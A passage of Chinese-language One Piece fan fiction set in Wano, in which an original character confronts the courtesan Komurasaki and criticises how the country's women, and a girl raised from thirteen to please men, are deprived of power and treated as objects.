“现在，小紫，我问你，你心系这个国家的百姓，你觉得他们过得很辛苦，十分艰难，你想要改变这种情况，于是当你成为花魁，你做了这个身份能做到的一切。但是这一切，真的能解决和之国的困境吗？” “仅仅只是作为花魁，只拥有一张脸的你，能打败凯多吗？我明白，你也一定知道，答案是不能。甚至，你都没法反抗前来坊院指名你的客人，不仅因为你要从他们手中骗取钱财，也因为你是被他们选出来，服务他们的好看物品。你必须低声下气、好声好气地哄着他们，因为一旦他们有所恼怒，便随时可以离去，或是指名其她女人。” “而狂死郎，我想，你将骗取过来的钱财赠予贫民的事，他一定知晓，毕竟你依赖他而活，是他倾尽全力将你培养成这种模样，你们关系必定不错，他刚才是那么的想要保护你。你要怎么瞒住他？” “可狂死郎，同时也作为黑炭大蛇的护卫。你的行为可说是对大蛇的大不敬。因为他本身就是为了报复这个和之国才成为将军，那他必不可能希望底下的贫民过上好日子。你的行为昭示着对他的反抗。但显然，狂死郎没将这事说出去，因为你还是最受欢迎的花魁。” “若他并非忠诚黑炭大蛇，那么，他算是站在普通民众这边的吗？” “倘若是站在普通民众这一边，那他必定不满大蛇与凯多 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“十三岁，过着很艰苦生活的你或许不明白，但当时，明显是成年人，经历过凯多窃国之事的狂死郎，会不明白这些吗？他为你做出了选择，让你成为一名花魁，让你误以为自己踏上一条十分有价值的道路。” “……” 不是这样的，光月日和咬着嘴唇，只想把一切真相说出来，狂死郎是父亲的家臣，是不会…… 然而路希的话依旧残酷地响起。 “他当然是很明白的，正如我先前所说，弱小之人没有话语权，于是狂死郎强大到被黑炭大蛇选中，因为愈接近敌人，愈能了解敌人的动向与打算，为自己这么的势力做准备。只是，这个反抗的势力，不需要你一个女性罢了。” 在第一次看见小紫的时候，路希就有种不太舒服的感觉。并非是因为讨厌小紫这个人，也不是单纯的相性不合，她没法具体说明这种感受，好像是当时所发生的一切组成了这种感受。 人们的呼喊，小紫的自傲，花魁这个词的真正含义，后来她看了一眼芙丽那，总算是明白了。 芙丽那同样是一个好看的女人，有着能和花魁小紫一较高下的容貌。但在此之前，她、乌塔、大和，船上的所有人，从没有因为这点而对她有过特别的夸赞，她也没有因为这幅容貌而得到特殊待遇。 贝格在不听芙丽那话的时候永远都不会听她话，不会因为她长得好看就说，好吧，那听你的。路希也不会因为芙丽那长得好看就多看她一眼，于她而言，长相是最不值得一提的事。而且好看与否通常用于形容物品上，她总觉得用在评价一个和她同性别的人类上有些不礼貌，因此更不会说点什么。 甚至她对芙丽那的第一印象是没有印象，因为此人可以一拳被她打飞，实在是弱小到有点不堪一击。 船上的船员也没有人会用评价物品或是宠物的态度来点评芙丽那的长相。要知道，芙丽那是她们的航海士，兼职船长保姆、兼职心理医生，能当战斗员还能当船匠，总之不是什么被挑选的东西，她没有必要用容貌来讨她们的欢喜。 只有下位者才需要用容貌来取悦他人。而下位者，也往往意味着，失权之人。 可是，当她看见小紫时，对方甚至是有些自傲的。她自傲于自己的身份，自己所处的位置，正是这种骄傲的态度，忽然让路希觉得，有点不舒服到难过。 小紫同她一样也是个女孩，而这世间分明有那么多路可以走，为何她偏偏走上这条失权之路？是无能为力，只有花魁这条路可以走吗？那为什么又会出现花魁这条路？是谁让这条路诞生的？又或是分明有其它路，却被一些男人的手遮盖住。 路希看着路旁那么多欢呼的男人，她又想起古伊娜的话。 ——我想，和之国一定没什么女性武士。 她忽然觉得，小紫是这个国家女性的缩影。 当一个女人因为容貌被选中，被男人们评价为可以成为花魁时，那么在这个国家必定会有其她无数个失权的女人。这甚至并非可能是凯多带来的，而是在凯多到来之前，就存在的事情。 因为凯多显然让和之国所有人都陷入了失权的境遇。而即便如此，失权的男人依然可以去游廓找女人寻欢作乐，以求慰藉。而女人即便陷入相同的失权境遇，还得继续坚强，继续微笑，继续温柔，出卖自己的美貌与情绪来劝慰男人。 狂死郎就不是什么好人，路希心想，哪有好人专门把十三岁的女孩培养成讨好男人的工具啊。更别提他还掌管着一个坊院，那里面还有无数个和小紫相同境遇的女人了。 小紫和那些女人真是被他骗惨了，路希很是愤怒，而光月日和因为她的这一番话，也同样陷入了差不多的情绪。 “你说什么？！” 光月日和难以置信地盯着路希，她可是和之国的公主，无论如何都是会被需要的存在！